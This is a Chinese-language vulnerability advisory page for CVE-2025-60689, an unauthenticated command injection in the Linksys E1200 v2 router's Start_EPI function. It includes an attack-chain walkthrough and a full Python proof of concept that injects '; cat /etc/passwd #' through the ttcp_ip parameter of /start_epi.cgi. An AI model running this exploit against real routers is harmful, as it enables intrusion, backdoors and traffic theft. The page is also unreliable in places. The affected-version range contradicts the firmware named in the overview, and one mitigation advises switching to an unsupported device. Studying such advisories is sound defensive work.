IPBUF安全漏洞报告
English
CVE-2025-60689 CVSS 5.4 中危

CVE-2025-60689 Linksys E1200 v2路由器Start_EPI函数命令注入漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-60689
漏洞类型
命令注入
CVSS评分
5.4 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linksys E1200 v2路由器

相关标签

命令注入Linksys路由器CVE-2025-60689未认证固件漏洞IoT安全Web漏洞Start_EPI

漏洞概述

CVE-2025-60689是影响Linksys E1200 v2路由器固件(E1200_v2.0.11.001_us.tar.gz)的未认证命令注入漏洞。该漏洞存在于httpd二进制文件的Start_EPI函数中,由于对用户提供的CGI参数(wl_ant、wl_ssid、wl_rate、ttcp_num、ttcp_ip、ttcp_size)缺乏适当的输入验证和清理,这些参数被直接拼接到系统命令字符串中,并通过wl_exec_cmd函数执行。攻击者可以通过构造恶意的HTTP请求,无需任何认证即可在受影响设备上执行任意系统命令。此漏洞的CVSS评分为5.4,属于中等严重程度,但由于攻击向量为相邻网络(AV:A),且无需认证和用户交互,因此在实际场景中仍具有较高的利用价值。Linksys E1200作为一款广泛使用的家用路由器,其漏洞可能影响大量用户的安全。攻击者一旦成功利用,可获取路由器完全控制权,执行任意代码、安装后门、窃取网络流量或进行进一步的内网渗透攻击。

技术细节

该漏洞的根本原因在于Linksys E1200 v2路由器的httpd服务在处理CGI参数时存在命令注入缺陷。在Start_EPI函数中,程序直接获取用户提交的wl_ant、wl_ssid、wl_rate、ttcp_num、ttcp_ip、ttcp_size等参数,并将这些未经过滤的用户输入拼接到系统命令字符串中。随后通过wl_exec_cmd函数调用system()或popen()等函数执行构造的命令。攻击者可以通过在CGI参数中注入分号(;)、管道(|)、反引号(`)或$()等命令分隔符和命令替换语法来执行额外的系统命令。例如,通过在ttcp_ip参数中注入'; ls -la #'可以列出根目录文件。由于漏洞存在于路由器的Web管理界面中,而该界面通常可通过本地网络访问,因此攻击者需要处于与目标设备相同的网络邻接位置。成功利用后,攻击者可以root权限执行任意命令,完全控制路由器。由于路由器通常作为网络网关,这一漏洞可能成为内网横向渗透的跳板。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网络中的Linksys E1200 v2路由器,确认设备IP地址和Web管理界面可访问性
STEP 2
步骤2: 构造恶意请求
攻击者构造包含命令注入payload的HTTP GET请求,在CGI参数(ttcp_ip等)中注入系统命令,如'; cat /etc/passwd #'
STEP 3
步骤3: 发送漏洞利用请求
通过HTTP协议向路由器的/start_epi.cgi或相关端点发送恶意请求,无需任何认证
STEP 4
步骤4: 命令执行
httpd进程的Start_EPI函数将用户输入拼接到系统命令中,通过wl_exec_cmd执行,注入的命令以root权限运行
STEP 5
步骤5: 获取持久化访问
攻击者执行命令后可安装后门、修改配置、窃取网络流量或进行进一步内网渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60689 PoC - Linksys E1200 v2 Command Injection This PoC demonstrates the command injection vulnerability in Start_EPI function. """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the command injection vulnerability in Linksys E1200 v2 Args: target_ip: IP address of the vulnerable router target_port: Web interface port (default: 80) """ # Base URL for the vulnerable endpoint base_url = f"http://{target_ip}:{target_port}" # Vulnerable parameters in Start_EPI function # Injecting command: cat /etc/passwd malicious_params = { 'ttcp_ip': '; cat /etc/passwd #', 'ttcp_num': '1', 'ttcp_size': '1000', 'wl_ant': '0', 'wl_ssid': 'test', 'wl_rate': '0' } try: # Send the malicious request # The vulnerable endpoint processes these parameters in Start_EPI response = requests.get(f"{base_url}/start_epi.cgi", params=malicious_params, timeout=10) print(f"[*] Request sent to {base_url}/start_epi.cgi") print(f"[*] Status code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False return True def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Exploiting CVE-2025-60689 on {target_ip}:{target_port}") exploit(target_ip, target_port) if __name__ == "__main__": main()

影响范围

Linksys E1200 v2 固件版本 < E1200_v2.0.11.001_us

防御指南

临时缓解措施
在厂商发布修复固件之前,建议采取以下临时缓解措施:1) 禁用路由器的远程Web管理功能,仅允许通过本地网络访问;2) 启用防火墙规则,限制对路由器管理界面的访问,仅允许受信任的IP地址;3) 监控网络流量,关注异常的HTTP请求模式;4) 考虑更换为已停止支持的设备,因为旧设备可能无法获得安全更新;5) 在路由器上部署入侵检测系统监控可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表